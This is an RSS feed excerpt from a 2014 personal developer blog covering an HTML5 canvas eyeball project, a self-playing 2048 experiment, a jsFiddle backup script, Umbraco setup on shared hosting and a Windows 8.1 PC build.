I need to take my nicely composed eyeball a break it out into its constituent parts.
<img src="/flog/images/jsfiddle201404/draw%20iris%20with%20rotation%20scale.png" alt="eyeball in layers" >

This was not too difficult. I changed the drawing code to always pass in the destination canvas and then created separate canvases and passed them to the different drawing routines. Then instead of having to pre-define all these canvases in the DOM I set about creating them dynamically in the target DIV you initiate the eyeball with.

The by changing the hideRenderLayers setting to false <code>eyeball.hideRenderLayers = false;</code>
you can see the layers making up the eyeball.

There are five canvas layers 'canvasMain', 'canvasBackground', 'canvasVeins', 'canvasIris' and 'canvasHighlights'.

'canvasMain' is the container canvas holding everything else.
'canvasBackground' is gradient sphere describing the ball of the eyeball.
'canvasVeins' moves laterally as you move the mouse, masked in a circle so the veins do not appear outside the eyeball.
'canvasIris' get scaled and moved to provide the fake 'looking' effect. Also holds the pupil that maybe animating.
'canvasHighlights' uses a special blending technique that means the highlights only make areas underneath light. This produces the nice glass effect.

The layers stay hidden on the page(ignoring the hideRenderLayers setting) until they are needed at which point I copy the 'canvasBackground' onto the 'canvasMain'. This gives a cue ball like result, then the 'canvasVeins' are layered in after being adjusted to the mouse position. This is then masked off by a circle that hides any veins that would appear off the edge of the eyeball.
<img src="/flog/images/jsfiddle201404/vein%20masking.jpg" alt="large vein layer being masked">
The 'canvasIris' is then scaled and translated(moved) and rendered onto. Finally the 'canvasHighlights' with the magic <code>	context.globalCompositeOperation = 'lighter';</code>
completes the affect.

In next post in the <a href="/flog/tags.html?tag=html5eyeball">series</a> I will briefly describe the 'circle' scaling method I developed and why it makes such a big difference.
</description>
</item>
<item>
<title>eyeball scaling is number one</title>
<pubDate>Fri, 23 May 2014 21:46:50 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2014.html#230520142146</link>
<description>
This is the second post in a <a href="/flog/tags.html?tag=html5eyeball">series</a> regarding the <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> project.

There were two elements of the <a href="http://slsushi.co.uk/">Silverlight</a> <a href="http://www.pay4foss.org/jumpstation/sliball">sliballs</a> project that really bugged me. 

The first one was simply that the eyeball was a fixed size. Every element in the XAML code had hard coded values defining the size and location of visual elements. Perhaps more annoying is the knowledge that if I had just taken a slightly different approach that would not have been an issue. But fear not, it is one of the main features in the the new <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> project. You can literally supply the source div at any size, the only limitation will be your computers ability to render it.
<img src="/flog/images/jsfiddle201404/eyeball%20colour%20change.png" alt="jsfiddle screen shot of eyeballs with different sizes" >

The second was the veins. Although vector based, I had hand drawn/positioned them and they would appear identical every time the eyeball was rendered. In the <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> project the veins are drawn with a recursive branching algorithm that initially looked like lightning.
<img src="/flog/images/jsfiddle201404/Lightning%20v2(veins).png" alt="jsfiddle screen shot of the lighting experiments" >

It is quick and easy to enter specific size values for an object to make sure it is working and then get into a the trap of adding each new element manually setting the size values based on the working parent. Worse, the longer you follow this path the harder it is to revert to any kind of scaling model.

Looking at the <a href="https://github.com/robgithub/html5eyeball/blob/master/html5eyeball.js">code</a> I tried to base all values off the target DIV. The only parameter that you *must* supply in the JavaScript to add an eyeball is the DIV you want the eyeball to live in. The code then adds all the eyeball layers to that DIV. This DIV should have a width and height, the code then treats these values as 100% for everything else. You can then override specific settings, such as the highlights size and location or the pupil diameter via JavaScript.

e.g.<code>
	eyeball.travel = 1.0;
	eyeball.pupilScale = 1.0;
    eyeball.highlight1 = {"x":.35, "y":.35, "width":.16, "height":.1, "colour1" : {"red":200, "green":200, "blue":200, "alpha" : 0.4}, "colour2" : {"red":0, "green":0, "blue":0, "alpha" : 0.0}};
    eyeball.highlight2 = {"x":.64, "y":.64, "width":.04, "height":.02, "colour1" : {"red":200, "green":200, "blue":200, "alpha" : 0.2}, "colour2" : {"red":0, "green":0, "blue":0, "alpha" : 0.3}};
</code>

These default values show the highlights not positioned by pixel but by a decimal from 0.0 to 1.0 (which equates to 0%-100%).

In next post in the <a href="/flog/tags.html?tag=html5eyeball">series</a> we will move onto layering system that was instrumental in the allowing the iris and veins to follow the mouse.

</description>
</item>
<item>
<title>birth of the html5eyeball project</title>
<pubDate>Thu, 22 May 2014 22:34:57 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2014.html#220520142234</link>
<description>
Back in 2009 I decide to take my interest in <a href="http://slsushi.co.uk/">SilverLight</a> up a notch. All my previous work had focused on the functionality and very little on the design. I had seen some amazing vector based application done in Flash and I was eager to try something myself.

I cannot remember why I choose <a href="http://www.pay4foss.org/jumpstation/sliball">eyeballs</a> but that was the project I went with. The project turned out pretty well, and I garnered some small fame. No body else at the time was creating such an app and it caught even non developers interest.

Fast forward a few years to 2012 and I was looking at some amazing demos using html5 canvas. As it is also vector based I decided to try and replicate the old <a href="http://www.pay4foss.org/jumpstation/sliball">sliballs</a> experience. I knocked up a few basic demos for the iris creation that gave me the basics of Canvas drawing and then promptly forgot about the whole thing. About six months later I went looking for the project to resurrect it only to find really really old code that did not seem to have functionality I had previously added. It turned out that a) the file naming was confusing and b) I had used css to turn off most of the visuals. Finally having found the code I started work again but this time I had the power of <a href="http://jsfiddle.net">Jsfiddle</a> on my side.

It is difficult to portray just how instrumental <a title="blog post of my fiddles" href="http://www.jumpstation.co.uk/flog/Apr2014.html#210420142303">JSFiddle</a> has been in my ability to pursue the <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> project. For starters it meant I could have a full development environment at work that I drop in and out of when a free moment presented itself. This then translated to development at home on my linux machine all with full backups and the freedom to fork the code to try different ideas and develop features.

In a series of blog/f-log posts I hope to take you on my journey on how and why the <a href="https://github.com/robgithub/html5eyeball">html5eyeball</a> came about.
</description>
</item>
<item>
<title>github project html5eyeball with demo</title>
<pubDate>Thu, 22 May 2014 22:07:27 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2014.html#220520142207</link>
<description>
Been busy creating another <a href="https://github.com">Github</a> project 
https://github.com/robgithub/html5eyeball
There is even a hosted example to play with at
http://robgithub.github.io/html5eyeball/examples/cutout.html

</description>
</item>
<item>
<title>2048 investigations is now my first gihub project</title>
<pubDate>Sun, 27 Apr 2014 17:29:59 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2014.html#270420141729</link>
<description>
Created my first <a href="https://github.com">Github</a> project 
https://github.com/robgithub/2048-investigations
Surprisingly easy thanks to my previous <a href="http://www.jumpstation.co.uk/flog/May2013.html#030520132150">notes</a>.
It is the same as the <a href="http://www.jumpstation.co.uk/flog/Apr2014.html#270420141437">post below</a> but with the code split into separate files for the different objects, there is even a handy examples.html file tying them all together.
</description>
</item>
<item>
<title>flog failure post creation</title>
<pubDate>Sun, 27 Apr 2014 14:49:37 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2014.html#270420141449</link>
<description>
I really should invest in making the <a href="/flog/flog.html">f-log</a> system allow page updates without needing to create a new post to push the changes.
</description>
</item>
<item>
<title>jquery cdn to the rescue</title>
<pubDate>Sun, 27 Apr 2014 14:44:28 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2014.html#270420141444</link>
<description>
Oops, put all my 2048 code on the last blog and then forgot to include the jQuery CDN.
http://jquery.com is the magic library that makes it easy to do browser based JavaScript.
<code>https://code.jquery.com/ui/1.9.2/jquery-ui.min.js</code>
</description>
</item>
<item>
<title>2048 investigations seven ways to skin a tile</title>
<pubDate>Sun, 27 Apr 2014 14:37:19 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2014.html#270420141437</link>
<description>
<script src="scripts/2048_Investigations_all.js"></script>
I seem to have a problem, shiny things are very VERY distracti.. *Oh! Squirrel* ..ng. Take, for instance the <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=eyeball">eyeball stuff</a>, that's good stuff that I *DO* want to finish. But instead I got distracted by <a href="http://gabrielecirulli.github.io/2048/‎">2048</a>. 

Its a simple but strangely addictive game. Use the arrow keys WASD of swipe to take a turn, either moving everything Up, Down, Left or Right. All the tiles on the board try and shift in that direction, if two tiles have the same value then they combine. So if a line of tiles was<code>2,2,8,8</code> and you shifted left the line would result in 4,8,0,0. There are 16 tiles in a four by four grid. Each turn results in the creation of a random tile, nine out of ten times this will be a "2" but every now and then you get a "4". The object of the game is to continue playing until a "2048" tile has been created. This would have required 
<code>
   2 +    2 =    4
   4 +    4 =    8
   8 +    8 =   16
  16 +   16 =   32
  32 +   32 =   64
  64 +   64 =  128
 128 +  128 =  256
 256 +  256 =  512
 512 +  512 = 1024
1024 + 1024 = 2048</code> and that is at the very least. Any coders will have noticed this is 2 to the power of n, like binary.

After a couple of goes I got bored and the following day during lunch I hatched a simple plan to recreate the game in JavaScript during my lunch hour. There would be no user interaction the game would play itself, I wanted to see how easy it was to get to the legendary "2048" tile. The key thing here was it was just a quick lunch time project, after eating time that would be about 40mins. I soon realised that 40mins was not going to be enough time and I reckon that <a href="http://jsfiddle.net/rob_on_earth/hJLsZ/">version one</a> took about 3hrs over 5 sessions and two days.

Once again <a href="http://jsfiddle.net/">jsfiddle</a> allowed me to work at home and during lunch without having to set anything up or arrange backups and transfers. Once this has post has been published I expect to add it to github.

So what are you seeing below?
There are seven games each using a different strategy to play. Clicking a "run" button will execute that strategy 5 times, keeping a note of the highest title reached and the longest number of turns.

"Score: Cumulative": Tries each direction Up, Down, Left, Right and adds the values of each tile together with the number of moves and then times that with the number combinations that were made. This is the *best* strategy and will often result in a "512" tile.

"Score: Moves": Same as "Score: Cumulative" but has no weighting on the number of combinations, instead number of moves is what is rewarded. I had this strategy in <a href="http://jsfiddle.net/rob_on_earth/hJLsZ/">version one</a> for most of the time, until I realised that combinations should be rewarded high than number of moves.

"Score: Combinations": Similar to the "Score: Moves" except it ignores number of moves completely and rewards number of combinations.

"Score: Tile Total": Ignores all the weighting of combinations and moves and just counts the resulting total of all the tile values added together.

"Random": Simply plays a random direction each turn and does surprisingly badly. Nearly always getting "64".

"Sequence: Clockwise": Ignores any scores or weighting, just uses "Up", followed by "Right", "Down", "Left" repeatedly. Plays "dumb", usually gets much higher that "Random".

"Sequence: Counter-clockwise": As with "Sequence: Clockwise" but uses the sequence "Up", "Left", "Down", "Right". Again, does better than "Random".

You can use the "Pause" button to halt an automated run and the either continue it with "run" or use "next" to step through. "slow" and "fast" change the delay between each automated turn. At the end of a game there is a three second pause before the new one starts.

<hr />
<div id="bestscorecumul"></div><hr />
<div id="bestscoremoves"></div><hr />
<div id="bestscorecomb"></div><hr />
<div id="bestscoretotal"></div><hr />
<div id="random"></div><hr />
<div id="rotatecw"></div><hr />
<div id="rotateccw"></div><hr />

So it was tempting to add user interaction to allow you to play the game but I recommend you play "2024" from http://gabrielecirulli.github.io/2048/ and I will get on with my <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=eyeball">eyeballs</a>.
</description>
</item>
<item>
<title>Pirate Cinema gets a big thumbs up</title>
<pubDate>Sat, 26 Apr 2014 22:10:04 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2014.html#260420142210</link>
<description>
Finished reading <a href="http://craphound.com/pc/">Pirate Cinema</a> from <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=corydoctorow">Cory Doctorow</a> which I picked up in a <a href="http://blog.humblebundle.com/post/33714074132/humble-ebook-bundle-is-now-five-times-more-hilarious">Humble Bundle</a> a while ago. I read it as an ebook on <a href="http://www.jumpstation.co.uk/flog/Dec2013.html#311220132159">my Moto G phone</a>.

Just like his <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=corydoctorow">other works</a> I really enjoyed this one! It is almost a fictional representation of the <a href="http://craphound.com/content/download/">Content</a> book that details the miss-use copyright and DRM.
The story is set in England and mostly London, with plenty of landmarks that could easily be recognised and were used to great affect. Without it just being a name dropping exercise. Based in the not distance future, they talk about slow computers that are faster than today's and laser hats that zap mosquitoes. The focus is on the punishment of internet blocking for minor content related crimes and how it affects not only the perpetrator but everyone in the family.

I strongly recommend them both.
</description>
</item>
<item>
<title>Umbraco database holds old media prisoner</title>
<pubDate>Tue, 22 Apr 2014 22:47:50 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2014.html#220420142247</link>
<description>
So I tracked down what was up with the <a href="/flog/Apr2014.html#200420142137">Umbraco installation</a> after I reinstalled the application to the root of the web site.

The Umbraco database has stored the old physical path against the media items. So, visit site/media/100/image.jpg and the database look up returns oldinstall/media/100/image.jpg even though /media/100/image.jpg exists.

This is actually quite annoying. I have to either keep the old media folder around, update the database or re-upload all the media items, in the process getting new ids and having to reassign all the media references.

I would like to take the "Update Database" option but, 1and1 do not have a online SQL execution tool. Nor can you connect with SQL Management studio (security) and I have heard that you cannot import from a database that has been edited outside their platform. So the only option is to write a custom ASP.NET page that runs the required SQL.

Tempting but, I may just let this lay and ignore it.
</description>
</item>
<item>
<title>A list of jsfiddles 201404 with screen shots</title>
<pubDate>Mon, 21 Apr 2014 23:03:49 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2014.html#210420142303</link>
<description>
Here are my <a href="http://jsfiddle.net">jsFiddles</a> as of 2014/04/21 as <a href="/flog/Apr2014.html#200420142147">promised</a>.

lightning v1
<img src="images/jsfiddle201404/lightning v1.png" alt="jsfiddle output" >
canvas test, no translate or rotation
http://jsfiddle.net/rob_on_earth/fYJvT/
Investigating the basic recursive nature of graphical branching

rotation test
<img src="images/jsfiddle201404/rotation test.png" alt="jsfiddle output" >
canvas test
create pale grid
rotate and recreate grid from centre
http://jsfiddle.net/rob_on_earth/GRQkm/
Creates two grids, grey with no rotation and red at 15 degrees

rotation iteration test (spikey wheel).png" alt="jsfiddle output" >
<img src="images/jsfiddle201404/rotation iteration test (spikey wheel)
canvas repeat rotation
http://jsfiddle.net/rob_on_earth/6nAHT/
Draw a number of spikes at different angles, non-interactive

js with the spikey wheel
<img src="images/jsfiddle201404/js with the spikey wheel.png" alt="jsfiddle output" >
canvas rotation test integrating JS
http://jsfiddle.net/rob_on_earth/gGZMA/
Draws the number of spikes and the rotation based on mouse movement, reports various data points.

Point projection
<img src="images/jsfiddle201404/Point projection.png" alt="jsfiddle output" >
canvas test, single point to a line with only an angle and a length
http://jsfiddle.net/rob_on_earth/8hQcE/
Where should a point be plotted if you have only the angle and the distance.

Lightning v2(veins)
<img src="images/jsfiddle201404/Lightning v2(veins).png" alt="jsfiddle output" >
canvas vein generation
http://jsfiddle.net/kyEuX/
A more complex look at the recursive nature of graphical branching, lots logged to the console, allowing all sorts of algorithm tweaking.

Radial fade
<img src="images/jsfiddle201404/Radial fade.png" alt="jsfiddle output" >
radial gradient creates the illusion of alpha mask
http://jsfiddle.net/rob_on_earth/uezZ2/
Playing with gradients continuing alpha channels.

Radial gradient experiments
<img src="images/jsfiddle201404/Radial gradient experiments.png" alt="jsfiddle output" >
http://jsfiddle.net/rob_on_earth/5pwrD/
Very basic

Compositing
<img src="images/jsfiddle201404/Compositing.png" alt="jsfiddle output" >
alpha-ing out a section based on a lightness
http://jsfiddle.net/rob_on_earth/6GhnY/
Different compositing modes.

another composite
<img src="images/jsfiddle201404/another composite.png" alt="jsfiddle output" >
erasing with canvas, add a background
http://jsfiddle.net/rob_on_earth/JBCCP/
Trying to create a mask with compositing modes

Lightning v3 rotaions
<img src="images/jsfiddle201404/Lightning v3 rotaions.png" alt="jsfiddle output" >
canvas vein generation with rotation
http://jsfiddle.net/rob_on_earth/H8b2Y/
Drawing branches in a more eyeball vein way.

Dual gradients
<img src="images/jsfiddle201404/Dual gradients.png" alt="jsfiddle output" >
rotated dual gradients
http://jsfiddle.net/rob_on_earth/F63UY/
A backup of old work done with thick lines with gradients and rotation.

Pretty circle animation
<img src="images/jsfiddle201404/Pretty circle animation.jpg" alt="jsfiddle output" >
Rotating gradient lines
http://jsfiddle.net/rob_on_earth/LutFf/
A backup of old work, draws the entire circle slowly with moire pattern.

Spikey Iris RED
<img src="images/jsfiddle201404/Spikey Iris RED.jpg" alt="jsfiddle output" >
early experiements
http://jsfiddle.net/rob_on_earth/sJt58/
Using randomness and gradients to create an "iris" pattern

Morrie anim
<img src="images/jsfiddle201404/Morrie anim.jpg" alt="jsfiddle output" >
lines build up (slowly)
http://jsfiddle.net/rob_on_earth/W6X6P/
Very slow, builds up on each rotation new moire patterns.

html5canvaseyeball
<img src="images/jsfiddle201404/html5canvaseyeball.png" alt="jsfiddle output" >
main branch
http://jsfiddle.net/rob_on_earth/7rQyy/
All working branches end up here.
The eye at the top is the offscreen buffer(on screen) and the other two eyes follow the mouse, one has markers rendered.

html5canvasiris early
<img src="images/jsfiddle201404/html5canvasiris early.jpg" alt="jsfiddle output" >
basic no highlights, as backup
http://jsfiddle.net/rob_on_earth/9rk5m/

html5canvasiris early2
<img src="images/jsfiddle201404/html5canvasiris early2.jpg" alt="jsfiddle output" >
non eliptical highlights, as backup
http://jsfiddle.net/rob_on_earth/DDaBt/

html5canvasiris early3
<img src="images/jsfiddle201404/html5canvasiris early3.png" alt="jsfiddle output" >
refactoring, as backup
http://jsfiddle.net/rob_on_earth/gvycX/
Showing scaling works with elliptical highlights

Mouse follow experiment
<img src="images/jsfiddle201404/Mouse follow experiment.png" alt="jsfiddle output" >
follow the mouse
http://jsfiddle.net/rob_on_earth/qS5rk/
Spike is never redrawn, just all the data is output.

Mouse follow experiment fullscreen
<img src="images/jsfiddle201404/Mouse follow experiment fullscreen.png" alt="jsfiddle output" >
follow the mouse fullscreen, because of jsfiddle frames this is not very obvious, but does work
http://jsfiddle.net/rob_on_earth/w628u/
Spike is redrawn and points to the mouse cursor.

Mouse follow move
<img src="images/jsfiddle201404/Mouse follow move.png" alt="jsfiddle output" >
move with restrictions follow the mouse fullscreen, because of jsfiddle frames this is not very obvious, but does work
http://jsfiddle.net/rob_on_earth/2gP56/
The red spike rotates around the centre, while the green one can move from the centre to 50% of the diameter of the area, while also pointing to the mouse.

scaling based on distance from centre
<img src="images/jsfiddle201404/scaling based on distance from center.png" alt="jsfiddle output" >
limit scaling based on distance from center
http://jsfiddle.net/rob_on_earth/47PrR/
When the distance restricted green spike moves away from the centre it is scaled.

html5canvaseyeball backup
<img src="images/jsfiddle201404/html5canvaseyeball backup.jpg" alt="jsfiddle output" >
backup of non animated eye
http://jsfiddle.net/rob_on_earth/4gEnn/

canvas copy pixels
<img src="images/jsfiddle201404/canvas copy pixels.png" alt="jsfiddle output" >
copied from the eyeball main branch. Attempts to draw the iris onto a separate canvas and then copy that data back with new rotation and scale
http://jsfiddle.net/rob_on_earth/w4FW3/
First experiments with canvas layering.

draw iris with rotation scale
<img src="images/jsfiddle201404/draw iris with rotation scale.png" alt="jsfiddle output" >
redraw the iris as mouse is moved
http://jsfiddle.net/rob_on_earth/84b6N/
Iris is scaled and moved to follow the mouse. Linear/flat scaling is used.

vein masking
<img src="images/jsfiddle201404/vein masking
draw longer veins that are masked and moved with the iris.jpg" alt="jsfiddle output" >
http://jsfiddle.net/rob_on_earth/5F9jk/
Masking is obtained via the 'destination-in' compositing mode

Plotting a semi circle
<img src="images/jsfiddle201404/Plotting a semi circle.png" alt="jsfiddle output" >
create a plot describing a semi-circle.
http://jsfiddle.net/rob_on_earth/BLASN/
Understanding how to use math to plot a semi circle, rather than just draw one.

semi circle plot 1.0 address space
<img src="images/jsfiddle201404/semi circle plot 1.0 address space.png" alt="jsfiddle output" >
create a plot describing a semi-circle.
http://jsfiddle.net/rob_on_earth/7b2bx/
Instead of using pixel values, plot using a simple 0.0 - 1.0 address space.

eye packaging
<img src="images/jsfiddle201404/eye packaging.png" alt="jsfiddle output" >
all about creating self contained package.
http://jsfiddle.net/rob_on_earth/UEH48/
Refactored to allow multiple eyeball creation.

eyeball colour change
<img src="images/jsfiddle201404/eyeball colour change.png" alt="jsfiddle output" >
on request/poke change iris colour and animate pupil dilation
http://jsfiddle.net/rob_on_earth/j62YN/
Because the pupil is drawn dynamically it no longer appears in the offscreen layer at the top. Scaling still works, lots of customisable options added.

eyeball highlight lighten only
<img src="images/jsfiddle201404/eyeball highlight lighten only.png" alt="jsfiddle output" >
experiment with highlights and the lighten composite mode.
http://jsfiddle.net/rob_on_earth/AhXUC/
Lightening only on the highlights means they do not produce a 'dirty' smudge on the white eyeball when the iris is elsewhere.
</description>
</item>
<item>
<title>jsfiddle is the answer to everything</title>
<pubDate>Sun, 20 Apr 2014 21:47:09 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2014.html#200420142147</link>
<description>
<a href="http://jsfiddle.net">jsFiddle.net</a> is not a new site, it was launched in 2009. But I had only seen it used on <a href="http://Stackoverflow.com">Stackoverflow.com</a> to illustrate simple JavaScript concepts. 

I never thought I would end up using it. I have a specific aversion to cloud services, "what if they are not there tomorrow?", "what if I cannot connect to the internet?". To back this up, the Google Drive service went down after I started to use it in earnest on my new phone and the document I was working on could not be saved.

But I had a problem and <a href="http://jsfiddle.net">jsFiddle.net</a> did fit the bill. I am (usually) very time poor and the process of locating a JavaScript project setting up an environment, backing it up and actually working on it is so heavy that many projects fall by the wayside. By using <a href="http://jsfiddle.net">jsFiddle.net</a> I would simply open a web browser and start work! It is even version controlled. Only problem the backup ...

Bash and curl to the rescue.
This short script will download all the fiddles of the requested user name. Does not include all versions just the latest one.
<code>#!/bin/bash
# jsfiddlebk.sh 20131101 Rob
# backup all the jsfiddles for a username.
# e.g. jsfiddle rob_on_earth
USERNAME=$1
if [ -z $USERNAME ]; then
  echo ":[USERNAME] not supplied, exiting"
  exit 1
fi
echo Backing up fiddles for $USERNAME
COUNT=0
HAVEFIDDLE=true
until ! $HAVEFIDDLE 
do
    FIDDLEINFO=`curl "http://jsfiddle.net/api/user/$USERNAME/demo/list.json?limit=1&amp;start=$COUNT"`
    if echo $FIDDLEINFO | grep /$USERNAME/ ; then
	FIDDLE=`echo $FIDDLEINFO | sed -e "s/.*$USERNAME\/\([^\/]*\).*/\1/"`
        TITLE=`echo $FIDDLEINFO | sed -e "s/.*\"title\":\s\"\([^\"]*\).*/\1/"`
        BKDATE=$(date  +"%Y%m%d")
        curl "http://fiddle.jshell.net/$USERNAME/$FIDDLE/show/" -o "$(echo $FIDDLE)_$(echo $TITLE)_$(echo $BKDATE).html"
        echo $FIDDLEINFO&gt;&gt;"$(echo $FIDDLE)_$(echo $TITLE)_$(echo $BKDATE).html"
        echo Backed up by jsfiddlebk $BKDATE&gt;&gt;"$(echo $FIDDLE)_$(echo $TITLE)_$(echo $BKDATE).html"
        HAVEFIDDLE=true
    else
        HAVEFIDDLE=false
    fi 
    COUNT=$((COUNT+1))
done
</code>

Now I have adopted <a href="http://jsfiddle.net">jsFiddle.net</a> for all my web based JavaScript work especially canvas works.

In the next post I will list my fiddles to date and detail the project that most of it has been in aid of.
</description>
</item>
<item>
<title>Moving Umbraco at 1and1 for a better root experience</title>
<pubDate>Sun, 20 Apr 2014 21:37:54 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2014.html#200420142137</link>
<description>
Continuing my fun with Umbraco on 1and1 I completed the base version of the website and we went live...

But immediately hit a problem, well a snag. The using the links in Umbraco showed the pages fine but visiting the root of the website still showed the 1and1 holding page.

All the links were inside the folder I had installed Umbraco into, makes sense really. Rang 1and1 only to find that this level of hosting does not allow you to change the website root :(

Fearing the worst I created a cheap full page frame set that loaded the new Umbraco homepage, looks fine to the naked eye, but Google would not be happy.

I used 1and1 to export the Umbraco database and set about backing up all my custom templates and images.

Then it was just a matter of using the 1and1 Webfiles to unzip the Umbraco6.1.6.zip file again, but this time into the root.
Review my previous *STEPS* for setting up the web.config and re-entering all the database information.

Umbraco DOES NOT delete anything out of the database when you do this so at the end all the hard work was un touched, just needed to re-upload the media folder and the separate images and templates and everything was back where it would be.

Final set was to republish the site, perfect!

Uh, not quite, non of the uploaded images were working and if I tried to visit the file directly I got a web.config error that pointed to the old install location.
Which I had backed up so I just put it back up there.

I intend to investigate further why the old files/folders are needed...
</description>
</item>
<item>
<title>Windows 8.1 did not eat my hamster</title>
<pubDate>Mon, 24 Mar 2014 22:10:26 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2014.html#240320142210</link>
<description>
Asked to build a new computer for someone and they wanted Windows 8.1 on it.

Built all the components and apart from the PSU connectors not being compatible with the Motherboard(Needed an extra 8 pin connector called the ATX_12) it all went together rather easily.

Next job install Windows 8.1. Insert CD, Windows flag comes up go an do something else, come back computer is dead and will not turn on. Disconnect power, reconnect and try again. The logo comes up wait a while and ... power goes off, no warnings no messages just *PLK* no power. Check motherboard connections and BIOS heat information all fine. Disconnect Hard drive, same result, move RAM slots same result. Run MemTest86 and no problems.

At this point, 
<ul>
<li>the BIOS loads and indicates no errors (and has the OS set to Windows 8)</li>
<li>the ram has been tested and moved slots</li>
<li>hard drive has been disconnected</li>
<li>heat and power rail information fine</li>
</ul>
The only thing left is the Graphics card AMD Sapphire 5450, but I need that because the Motherboard [Gigabyte GA-F2A55-DS3 (rev. 3.0)] only has HDMI out. Its a pain but I manage to borrow an HDMI telly and remove the GFX card. Now the Windows 8.1 installation goes all the way through to the first reboot but then turns off and will not come back on (in the same way).

I have not got any Windows 7 install media but I do have Windows XP ... Hours later after it formatted the 500GB hard disk it rebooted and shortly powered off.

Its not heat, not RAM, not Power, not HDD(but I might have to confirm that with a Linux USB boot disk and not Windows 8.1.

The replacement PSU was from an old machine but it did have all the required connectors and was 530W. Unfortunately it had been kept in a garage. so I started looking at ways to convert the new PSU that was missing the 8 pin connector to work and I came across a number of threads detailing that it did fit, just on one side. Had fun disconnecting everything yet again, rebuilt it with the new PSU attached and...

It is only bloody working! Well, I mean it has got further than any time previously.

Now to avoid logging in with a Microsoft account (Windows 8.1 is very pushy), click the "Create a New Account" link. Yes, I know you do not want to create an account, bare with me. At the bottom of the sign up form is another link "Sign in without a Microsoft Account". Then, finally you can create a regular account.

Sometime later, at some point Windows convinced the owner to sign up a Microsoft account and the computer is linked.

</description>
</item>
<item>
<title>Umbraco on 1and1 shared hosting</title>
<pubDate>Thu, 20 Mar 2014 21:59:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2014.html#200320142159</link>
<description>
Someone wanted a easy to use CMS based website (that I would be building) so I suggested <a href="http://umbraco.com">Umbraco</a>. It is what we use at work and although Windows based and open source is very powerful and extendable. In fact it is the only CMS system I have ever seen that correctly balances easy of use for content editors and control to programmers.

As my host is <a href="http://www.1and1.co.uk/?k_id=8343118">1and1</a>(linux) I recommend the <a href="http://www.1and1.co.uk/?k_id=8343118">1and1</a> Windows package. 

Step one was to prepare the Microsoft SQL Server database. <a href="http://www.1and1.co.uk/?k_id=8343118">1and1</a> have a queuing process for this so make a sandwich. Once completed make a note of the Server, Database, Username and Password.

Step two was to download <a href="http://umbraco.com/download">Umbraco</a> and I here was where I hit my first road block. Version 7 has been released but states it is not compatible with any hosting environment other than "Full Trust". I downloaded it and tried installing it via the <a href="http://www.1and1.co.uk/?k_id=8343118">1and1</a> webfiles tool, it did not work. Deleted that and downloaded 6.1.6. This time things went much more smoothly. Just upload the zip file and use the unzip option to install the files.

Step three needs to be to set the new <a href="http://umbraco.com/download">Umbraco</a> folder as an application (option in webfiles).

Try and access the new site but got
<code>The configuration section 'scriptResourceHandler' cannot be read because it is missing a section declaration </code>
This was fixed by downloading the web.config via the ftp server and adding
<code>&lt;sectionGroup name="system.web.extensions" type="System.Web.Configuration.SystemWebExtensionsSectionGroup, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"&gt;
      &lt;sectionGroup name="scripting" type="System.Web.Configuration.ScriptingSectionGroup, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"&gt;
        &lt;section name="scriptResourceHandler" type="System.Web.Configuration.ScriptingScriptResourceHandlerSection, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" requirePermission="false" allowDefinition="MachineToApplication"/&gt;
        &lt;sectionGroup name="webServices" type="System.Web.Configuration.ScriptingWebServicesSectionGroup, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"&gt;
          &lt;section name="jsonSerialization" type="System.Web.Configuration.ScriptingJsonSerializationSection, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" requirePermission="false" allowDefinition="Everywhere"/&gt;
          &lt;section name="profileService" type="System.Web.Configuration.ScriptingProfileServiceSection, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" requirePermission="false" allowDefinition="MachineToApplication"/&gt;
          &lt;section name="authenticationService" type="System.Web.Configuration.ScriptingAuthenticationServiceSection, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" requirePermission="false" allowDefinition="MachineToApplication"/&gt;
          &lt;section name="roleService" type="System.Web.Configuration.ScriptingRoleServiceSection, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" requirePermission="false" allowDefinition="MachineToApplication"/&gt;
        &lt;/sectionGroup&gt;
      &lt;/sectionGroup&gt;
    &lt;/sectionGroup&gt;
</code>
into the &lt;configSections&gt; at the top of the file.
Then remove the &lt;httpProtocol&gt;...&lt;/httpProtocol&gt; section.

If you get other errors make sure (and then make sure again) that the <a href="http://umbraco.com/download">Umbraco</a> folder is an application.

Upload and overwrite the web.config and hit the new site/umbraco and you should get the installation screen.

Enter all the SQL server settings from earlier and watch out, some setting look the same but are subtly different.

The last but one part of the installer tries to download some starter kits but fails due to security and you just have to wait for it to timeout. Also the "Continue" button would not work for me once it had failed to get the starter kits, but by the time I have tried to create a ticket reporting the issue it was working again and I could get into the <a href="http://umbraco.com/download">Umbraco</a> backend.

